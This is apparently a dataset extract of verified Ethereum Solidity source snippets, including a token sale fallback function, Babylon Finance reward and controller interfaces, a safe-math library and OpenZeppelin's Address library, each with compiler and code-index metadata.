(_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 }
/// 购买token
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 4905, 5392 ] }
3,633
TimeLockRegistry
contracts/interfaces/IRewardsDistributor.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
IRewardsDistributor
interface IRewardsDistributor { // Structs struct PrincipalPerTimestamp { uint256 principal; uint256 time; uint256 timeListPointer; } function protocolPrincipal() external view returns (uint256); function pid() external view returns (uint256); // solhint-disable-next-line function EPOCH_DURATION() external pure returns (uint256); // solhint-disable-next-line function START_TIME() external view returns (uint256); // solhint-disable-next-line function Q1_REWARDS() external pure returns (uint256); // solhint-disable-next-line function DECAY_RATE() external pure returns (uint256); function updateProtocolPrincipal(uint256 _capital, bool _addOrSubstract) external; function getStrategyRewards(address _strategy) external view returns (uint96); function sendTokensToContributor(address _to, uint256 _amount) external; function startBABLRewards() external; function getRewards( address _garden, address _contributor, address[] calldata _finalizedStrategies ) external view returns (uint256[] memory); function getContributorPower( address _garden, address _contributor, uint256 _from, uint256 _to ) external view returns (uint256); function updateGardenPowerAndContributor( address _garden, address _contributor, uint256 _previousBalance, bool _depositOrWithdraw, uint256 _pid ) external; function tokenSupplyPerQuarter(uint256 quarter) external view returns (uint96); function checkProtocol(uint256 _time) external view returns ( uint256 principal, uint256 time, uint256 quarterBelonging, uint256 timeListPointer, uint256 power ); function checkQuarter(uint256 _num) external view returns ( uint256 quarterPrincipal, uint256 quarterNumber, uint256 quarterPower, uint96 supplyPerQuarter ); }
/** * @title IRewardsDistributor * @author Babylon Finance * * Interface for the distribute rewards of the BABL Mining Program. */
NatSpecMultiLine
EPOCH_DURATION
function EPOCH_DURATION() external pure returns (uint256);
// solhint-disable-next-line
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 324, 386 ] }
3,634
TimeLockRegistry
contracts/interfaces/IRewardsDistributor.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
IRewardsDistributor
interface IRewardsDistributor { // Structs struct PrincipalPerTimestamp { uint256 principal; uint256 time; uint256 timeListPointer; } function protocolPrincipal() external view returns (uint256); function pid() external view returns (uint256); // solhint-disable-next-line function EPOCH_DURATION() external pure returns (uint256); // solhint-disable-next-line function START_TIME() external view returns (uint256); // solhint-disable-next-line function Q1_REWARDS() external pure returns (uint256); // solhint-disable-next-line function DECAY_RATE() external pure returns (uint256); function updateProtocolPrincipal(uint256 _capital, bool _addOrSubstract) external; function getStrategyRewards(address _strategy) external view returns (uint96); function sendTokensToContributor(address _to, uint256 _amount) external; function startBABLRewards() external; function getRewards( address _garden, address _contributor, address[] calldata _finalizedStrategies ) external view returns (uint256[] memory); function getContributorPower( address _garden, address _contributor, uint256 _from, uint256 _to ) external view returns (uint256); function updateGardenPowerAndContributor( address _garden, address _contributor, uint256 _previousBalance, bool _depositOrWithdraw, uint256 _pid ) external; function tokenSupplyPerQuarter(uint256 quarter) external view returns (uint96); function checkProtocol(uint256 _time) external view returns ( uint256 principal, uint256 time, uint256 quarterBelonging, uint256 timeListPointer, uint256 power ); function checkQuarter(uint256 _num) external view returns ( uint256 quarterPrincipal, uint256 quarterNumber, uint256 quarterPower, uint96 supplyPerQuarter ); }
/** * @title IRewardsDistributor * @author Babylon Finance * * Interface for the distribute rewards of the BABL Mining Program. */
NatSpecMultiLine
START_TIME
function START_TIME() external view returns (uint256);
// solhint-disable-next-line
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 421, 479 ] }
3,635
TimeLockRegistry
contracts/interfaces/IRewardsDistributor.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
IRewardsDistributor
interface IRewardsDistributor { // Structs struct PrincipalPerTimestamp { uint256 principal; uint256 time; uint256 timeListPointer; } function protocolPrincipal() external view returns (uint256); function pid() external view returns (uint256); // solhint-disable-next-line function EPOCH_DURATION() external pure returns (uint256); // solhint-disable-next-line function START_TIME() external view returns (uint256); // solhint-disable-next-line function Q1_REWARDS() external pure returns (uint256); // solhint-disable-next-line function DECAY_RATE() external pure returns (uint256); function updateProtocolPrincipal(uint256 _capital, bool _addOrSubstract) external; function getStrategyRewards(address _strategy) external view returns (uint96); function sendTokensToContributor(address _to, uint256 _amount) external; function startBABLRewards() external; function getRewards( address _garden, address _contributor, address[] calldata _finalizedStrategies ) external view returns (uint256[] memory); function getContributorPower( address _garden, address _contributor, uint256 _from, uint256 _to ) external view returns (uint256); function updateGardenPowerAndContributor( address _garden, address _contributor, uint256 _previousBalance, bool _depositOrWithdraw, uint256 _pid ) external; function tokenSupplyPerQuarter(uint256 quarter) external view returns (uint96); function checkProtocol(uint256 _time) external view returns ( uint256 principal, uint256 time, uint256 quarterBelonging, uint256 timeListPointer, uint256 power ); function checkQuarter(uint256 _num) external view returns ( uint256 quarterPrincipal, uint256 quarterNumber, uint256 quarterPower, uint96 supplyPerQuarter ); }
/** * @title IRewardsDistributor * @author Babylon Finance * * Interface for the distribute rewards of the BABL Mining Program. */
NatSpecMultiLine
Q1_REWARDS
function Q1_REWARDS() external pure returns (uint256);
// solhint-disable-next-line
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 514, 572 ] }
3,636
TimeLockRegistry
contracts/interfaces/IRewardsDistributor.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
IRewardsDistributor
interface IRewardsDistributor { // Structs struct PrincipalPerTimestamp { uint256 principal; uint256 time; uint256 timeListPointer; } function protocolPrincipal() external view returns (uint256); function pid() external view returns (uint256); // solhint-disable-next-line function EPOCH_DURATION() external pure returns (uint256); // solhint-disable-next-line function START_TIME() external view returns (uint256); // solhint-disable-next-line function Q1_REWARDS() external pure returns (uint256); // solhint-disable-next-line function DECAY_RATE() external pure returns (uint256); function updateProtocolPrincipal(uint256 _capital, bool _addOrSubstract) external; function getStrategyRewards(address _strategy) external view returns (uint96); function sendTokensToContributor(address _to, uint256 _amount) external; function startBABLRewards() external; function getRewards( address _garden, address _contributor, address[] calldata _finalizedStrategies ) external view returns (uint256[] memory); function getContributorPower( address _garden, address _contributor, uint256 _from, uint256 _to ) external view returns (uint256); function updateGardenPowerAndContributor( address _garden, address _contributor, uint256 _previousBalance, bool _depositOrWithdraw, uint256 _pid ) external; function tokenSupplyPerQuarter(uint256 quarter) external view returns (uint96); function checkProtocol(uint256 _time) external view returns ( uint256 principal, uint256 time, uint256 quarterBelonging, uint256 timeListPointer, uint256 power ); function checkQuarter(uint256 _num) external view returns ( uint256 quarterPrincipal, uint256 quarterNumber, uint256 quarterPower, uint96 supplyPerQuarter ); }
/** * @title IRewardsDistributor * @author Babylon Finance * * Interface for the distribute rewards of the BABL Mining Program. */
NatSpecMultiLine
DECAY_RATE
function DECAY_RATE() external pure returns (uint256);
// solhint-disable-next-line
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 607, 665 ] }
3,637
TimeLockRegistry
contracts/interfaces/IBabController.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
IBabController
interface IBabController { /* ============ Functions ============ */ function createGarden( address _reserveAsset, string memory _name, string memory _symbol, string memory _tokenURI, uint256 _seed, uint256[] calldata _gardenParams, uint256 _initialContribution, bool[] memory _publicGardenStrategistsStewards ) external payable returns (address); function removeGarden(address _garden) external; function addReserveAsset(address _reserveAsset) external; function removeReserveAsset(address _reserveAsset) external; function disableGarden(address _garden) external; function editPriceOracle(address _priceOracle) external; function editIshtarGate(address _ishtarGate) external; function editGardenValuer(address _gardenValuer) external; function editRewardsDistributor(address _rewardsDistributor) external; function editTreasury(address _newTreasury) external; function editGardenFactory(address _newGardenFactory) external; function editGardenNFT(address _newGardenNFT) external; function editStrategyNFT(address _newStrategyNFT) external; function editStrategyFactory(address _newStrategyFactory) external; function addIntegration(string memory _name, address _integration) external; function editIntegration(string memory _name, address _integration) external; function removeIntegration(string memory _name) external; function setOperation(uint8 _kind, address _operation) external; function setDefaultTradeIntegration(address _newDefaultTradeIntegation) external; function addKeeper(address _keeper) external; function addKeepers(address[] memory _keepers) external; function removeKeeper(address _keeper) external; function enableGardenTokensTransfers() external; function enableBABLMiningProgram() external; function setAllowPublicGardens() external; function editLiquidityReserve(address _reserve, uint256 _minRiskyPairLiquidityEth) external; function maxContributorsPerGarden() external view returns (uint256); function gardenCreationIsOpen() external view returns (bool); function openPublicGardenCreation() external; function setMaxContributorsPerGarden(uint256 _newMax) external; function owner() external view returns (address); function guardianGlobalPaused() external view returns (bool); function guardianPaused(address _address) external view returns (bool); function setPauseGuardian(address _guardian) external; function setGlobalPause(bool _state) external returns (bool); function setSomePause(address[] memory _address, bool _state) external returns (bool); function isPaused(address _contract) external view returns (bool); function priceOracle() external view returns (address); function gardenValuer() external view returns (address); function gardenNFT() external view returns (address); function strategyNFT() external view returns (address); function rewardsDistributor() external view returns (address); function gardenFactory() external view returns (address); function treasury() external view returns (address); function ishtarGate() external view returns (address); function strategyFactory() external view returns (address); function defaultTradeIntegration() external view returns (address); function gardenTokensTransfersEnabled() external view returns (bool); function bablMiningProgramEnabled() external view returns (bool); function allowPublicGardens() external view returns (bool); function enabledOperations(uint256 _kind) external view returns (address); function getProfitSharing() external view returns ( uint256, uint256, uint256 ); function getBABLSharing() external view returns ( uint256, uint256, uint256, uint256 ); function getGardens() external view returns (address[] memory); function getOperations() external view returns (address[20] memory); function isGarden(address _garden) external view returns (bool); function getIntegrationByName(string memory _name) external view returns (address); function getIntegrationWithHash(bytes32 _nameHashP) external view returns (address); function isValidReserveAsset(address _reserveAsset) external view returns (bool); function isValidKeeper(address _keeper) external view returns (bool); function isSystemContract(address _contractAddress) external view returns (bool); function isValidIntegration(string memory _name, address _integration) external view returns (bool); function getMinCooldownPeriod() external view returns (uint256); function getMaxCooldownPeriod() external view returns (uint256); function protocolPerformanceFee() external view returns (uint256); function protocolManagementFee() external view returns (uint256); function minLiquidityPerReserve(address _reserve) external view returns (uint256); }
/** * @title IBabController * @author Babylon Finance * * Interface for interacting with BabController */
NatSpecMultiLine
createGarden
function createGarden( address _reserveAsset, string memory _name, string memory _symbol, string memory _tokenURI, uint256 _seed, uint256[] calldata _gardenParams, uint256 _initialContribution, bool[] memory _publicGardenStrategistsStewards ) external payable returns (address);
/* ============ Functions ============ */
Comment
v0.7.6+commit.7338295f
{ "func_code_index": [ 74, 424 ] }
3,638
TimeLockRegistry
contracts/lib/LowGasSafeMath.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
LowGasSafeMath
library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, 'SafeMath: division by zero'); return a / b; } }
/// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
NatSpecSingleLine
add
function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); }
/// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y
NatSpecSingleLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 182, 297 ] }
3,639
TimeLockRegistry
contracts/lib/LowGasSafeMath.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
LowGasSafeMath
library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, 'SafeMath: division by zero'); return a / b; } }
/// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
NatSpecSingleLine
sub
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); }
/// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y
NatSpecSingleLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 457, 572 ] }
3,640
TimeLockRegistry
contracts/lib/LowGasSafeMath.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
LowGasSafeMath
library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, 'SafeMath: division by zero'); return a / b; } }
/// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
NatSpecSingleLine
mul
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); }
/// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y
NatSpecSingleLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 733, 862 ] }
3,641
TimeLockRegistry
contracts/lib/LowGasSafeMath.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
LowGasSafeMath
library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, 'SafeMath: division by zero'); return a / b; } }
/// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
NatSpecSingleLine
add
function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); }
/// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y
NatSpecSingleLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 1023, 1147 ] }
3,642
TimeLockRegistry
contracts/lib/LowGasSafeMath.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
LowGasSafeMath
library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, 'SafeMath: division by zero'); return a / b; } }
/// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
NatSpecSingleLine
sub
function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); }
/// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y
NatSpecSingleLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 1320, 1444 ] }
3,643
TimeLockRegistry
contracts/lib/LowGasSafeMath.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
LowGasSafeMath
library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, 'SafeMath: division by zero'); return a / b; } }
/// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
NatSpecSingleLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, 'SafeMath: division by zero'); return a / b; }
/** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 1904, 2058 ] }
3,644
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
isContract
function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; }
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 606, 1033 ] }
3,645
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Address
